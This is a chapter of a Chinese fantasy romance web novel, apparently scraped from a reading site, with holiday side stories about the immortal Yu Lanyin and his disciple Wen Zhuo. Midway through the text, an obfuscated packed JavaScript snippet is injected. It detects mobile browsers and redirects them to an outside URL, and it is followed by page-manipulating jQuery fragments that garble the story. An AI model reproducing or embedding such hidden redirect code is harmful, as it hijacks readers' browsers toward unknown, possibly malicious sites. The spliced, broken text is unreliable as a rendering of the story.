玉阑音在元宿央的墓碑前时,温卓十分善解人意地退了很远。 于是玉阑音便得了机会一个人在元宿央的墓碑前待了很久。 他可能是说了很多话,也可能一句话都没说。 在玉阑音的遮挡下,温卓看不到石碑。 他只能看见石碑前,玉阑音那蹲着的消瘦的背影。 温卓其实大可以上前去抱一抱这个近乎蜷缩的人。 如今的他也不再是那个只能眼巴巴仰望神明的孩子了,他已经拥有了 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趁着玉阑音不在,善玄很早领着镜遥他们一帮小孩子,把虚空山和流离所打扮得张灯结彩,里里外外通红一片。 玉阑音刚一落脚,就险些被这火红的山头闪瞎了眼。 温卓看看那大红灯笼,又看看玉阑音,只是笑。 “不难看。” 玉阑音叹口气。 “也就你脾气好,惯得他们这些毛病,若是我,早就……” ……早就什么呢? 玉阑音思来想去也没能说出个一二三,于是只得又叹口气,认命地摇摇头,作罢。 “长老!” “药郎先生!” “长老!我们回来啦!” 君少暄、克古鲁、镜遥三人组恰好提着大包小包的东西回到了虚空山。 随着他们一起回来的还有那噩梦般的冰糖菠菜和炸酸果。 玉阑音的脸青了又绿,绿了又蓝。 温卓对此依旧只是笑。 他宽慰似地捏捏玉阑音的掌心,笑道:“好了,别苦着个脸了。你上次没尝过,其实也不算难吃。” 玉阑音不撘他的话茬,看着忙里忙外净添乱的一群孩子,无力地摇了摇头。 “……算了,大过年的。” 他选择性地无视了旁人,拍拍温卓的手。 “过来给我打下手,今天煮一壶新茶喝。” 小壶咕嘟咕嘟煮起了绿茶,不一会儿,整个屋子的角角落落便都是浓浓的茶香。 玉阑音卧在摇椅里半阖着眼,屋内枯枝上不知何时已经又停了一匹海东青和一匹金雕。 忽然,一阵脚步声匆匆响起,随后流离所的门由外向内被什么人自来熟地打开了。 门缝里钻进了寒风,凉得玉阑音打了个寒颤。 善玄带着一身寒气像一条泥鳅溜进了门,双手神秘兮兮地背在身后。 他看了看屋里,似乎有些惊讶,“哟,这大家都在呢?” 他鬼兮兮地往里走了两步,忽然从身后掏出了一个炮筒模样的礼花。 他的手也不知往哪迅速地一抹,紧接着那礼花便“砰”得一声炸了开来,压根没给玉阑音任何反应的时间。 纸筒里藏好的彩带花瓣被气流轰得高高飞起,降落之时却是天女散花,晃晃荡荡暧昧地飘落。 落了玉阑音和温卓满袖满裳。 漫天的五彩缤纷中,善玄笑得宛如百年前作怪的孩子。 他扬起手,将手中的礼花往角落顺手一丢。 “好啦!新年快乐!” 99.元宵[番外] 玉阑音很少会觉得时间过得这么快。 过去的千百年的时光太难捱,那是无穷无尽的,极少的快乐,很多的遗憾。 他几乎能记起每一分每一秒的时间刮过他的身躯时,忍不住的颤栗和悲叹。 可现在他忽然觉得时间变得快起来了。 他总觉得善玄带着礼花大闹他的流离所仿佛还在昨天。 “……阑音,阑音?” 温卓的轻声呼喊将他从沉重的思绪中拖拽出来,“要不要买花灯?” 山下。护城河旁。 熙熙攘攘的人群,将宽敞的大道堵得水泄不通。 玉阑音眨眨眼。 他看了看街边支着摊子的小商贩,“人太多了,算了吧。” 温卓看了他一会儿。 随后很快速地穿过人群,又回来。 回来的时候,手上提着一盏小鸟样式的花灯。 玉阑音失笑。 “我都多大的人了,还拿这种小孩子东西哄我。” 但尽管这么说着,他还是勾了勾嘴角,将花灯捧在了手里。 “下次可不要再乱花钱了。” 温卓看着他轻垂的眉眼,心中一片酸软。 他点点头,“嗯。明年你买给我,我喜欢。” “幼稚。”玉阑音笑道。 随后他手腕一翻,直接凭空变了一只精巧小兔子花灯,塞进了温卓手里。 “何必等明年?这种小东西,你师尊要多少有多少。拿去。” 两人说着,已经走到了护城河边一处人少的地方。 元宵佳节。 玉阑音一身白金色华服,罕见地将头发高高束起,扣着白玉扣,两侧编了小辫,辫子里藏着金绦子,一甩头,发丝飞扬之间便可看见。 温卓含着笑,接过花灯,又伸手捻了捻他发丝间的金绦。 “谢谢师尊。那师尊,喜不喜欢弟子今日为师尊束的发?” 说起束发,玉阑音不由地就想起了温卓小时候,整日早期备好盥洗铜盆,拿着梳子,眼睛亮亮地站着,等着给自己束发的模样。 他眯了眯眼,不禁笑了起来。 “自然是喜欢,不过……” 玉阑音笑道,“我倒是知道有个小孩子,束发束得比你还要好些。” 温卓的脚步一顿,连笑意都停顿了一瞬。 “哦?师尊何时认识了哪家小孩,我怎么不知道?” “嗯,认识很久了。” 玉阑音讲得有隔壁有腿,“是个挺可爱的孩子。长得可爱,做事也可爱,叫我一见他便心生欢喜。” “啪啦”一声。 温卓手中那琉璃的兔子花灯被他捏了个稀碎。 他顿了一顿,这才垂头,佯装无事地将碎了的琉璃渣子拍打干净。 “抱歉,不小心捏碎了。” “怎么还受伤了。” 玉阑音心疼地牵过他的手,手指一动,将他的伤口愈合。 温卓不说话,只生硬地将手收了回来。 “无碍。我陪师尊放花灯去吧。” 左一个“师尊”右一个“师尊”的,不知道的还以为他有多么尊师重道呢。 玉阑音笑得眯了眯眼。 他十分强硬地掰过了温卓的脸,在他妒火丛生的眼上落下一吻。 “忘记说了。” 他说着,在温卓的鼻尖再度落下一个轻吻,“他吃醋的样子也很可爱,闷闷不乐的样子也很可爱。我全天下只喜欢他一个,喜欢得不知道如何是好。不知道这个小孩……是听见了,还是没听见?” 温卓的睫毛忽然扑簌簌地抖动。 一闪而过的水光,几乎要让玉阑音以为是他要落下泪来。 他缓缓地、却重重地吐出一口气。 “阑音……你别吓我。” 温卓轻轻与玉阑音额头相抵,一边默不作声地抢过了主动权,牢牢地将玉阑音禁锢在了自己的怀里,“以后不许再说这种话了。” 玉阑音愣住了。 “温卓……” “我真的……害怕得都不知道该怎么办了。我第一瞬间只想把他杀了。” 温卓不看他,将下巴搁在他消瘦的颈窝,“可是我又不敢。我已经做好一辈子假装没听见过这句话的打算了。” 他埋在玉阑音的脖颈处,轻声道:“还好是假的。” 玉阑音笑不出来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007085|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他歉疚地回抱温卓,“我的好一一,是我的错,是师尊的错。我今后再也不说这种话了,还不好?别哭,别哭……” 温卓闷闷道:“嗯。” 在无人看到的地方,玉阑音以为的委屈得要掉眼泪的温卓忽然眯了眯眼,露出了一丝狡黠的笑意。 常言有道,出来混总是要还的。 于是就在今晚过后的好几天,夜雀宫、包括十方宗的所有人,没有一人再见过玉阑音。 等到再见到他的活人,已经是两日后,正月十七。 这一天是情人节,是云州更远处,番邦那边传来的洋节。 从当天早上开始,夜雀宫的气压就低低的。 栀子和燕一那叫一个安静,那叫一个老实本分,恨不得能遁地逃离此处才好。 这回倒不是他们的尊主犯病。 这次黑了脸的……居然他们那神仙似的尊主夫人。 自从玉阑音来到此处,哪天不是笑眯眯平易近人的,何时见他发过火? 栀子都不敢猜,尊主这到底是做了什么天理难容的事情,居然叫他们的尊主夫人如此挂脸? 而且,他们这帮作下人的一致觉得,尊主夫人这次大概是生气极了。 一整天阴沉着脸不说,甚至连椅子都不曾坐下过一次。 尊主笑眯眯地在椅子上铺了软垫,这椅子下一秒就被他们尊主夫人踹翻了。 到了下午,栀子实在是忍不住,明里暗里地同温卓提了两句。 大意就是说,尊主夫人这么好,别惹夫人不开心之类的。 哪成想,他们这厌族尊主很是不领情。 留下一句轻飘飘的,“子非鱼,安知鱼之乐也”,心情很好地施施然走了。 好心当成驴肝肺…… 栀子忍不住亮了亮自己厌族的獠牙。 算了算了。 这俩人爱怎么过怎么过吧,我再管一次我不姓栀! 须弥之地同云州不同,气候极端,冬末春初细雪洒满山头。 栀子抬头看看树梢薄薄的雪。 不过…… 今天可真是个漂亮天气。 她往自己的手上哈了口气,愉悦地想到。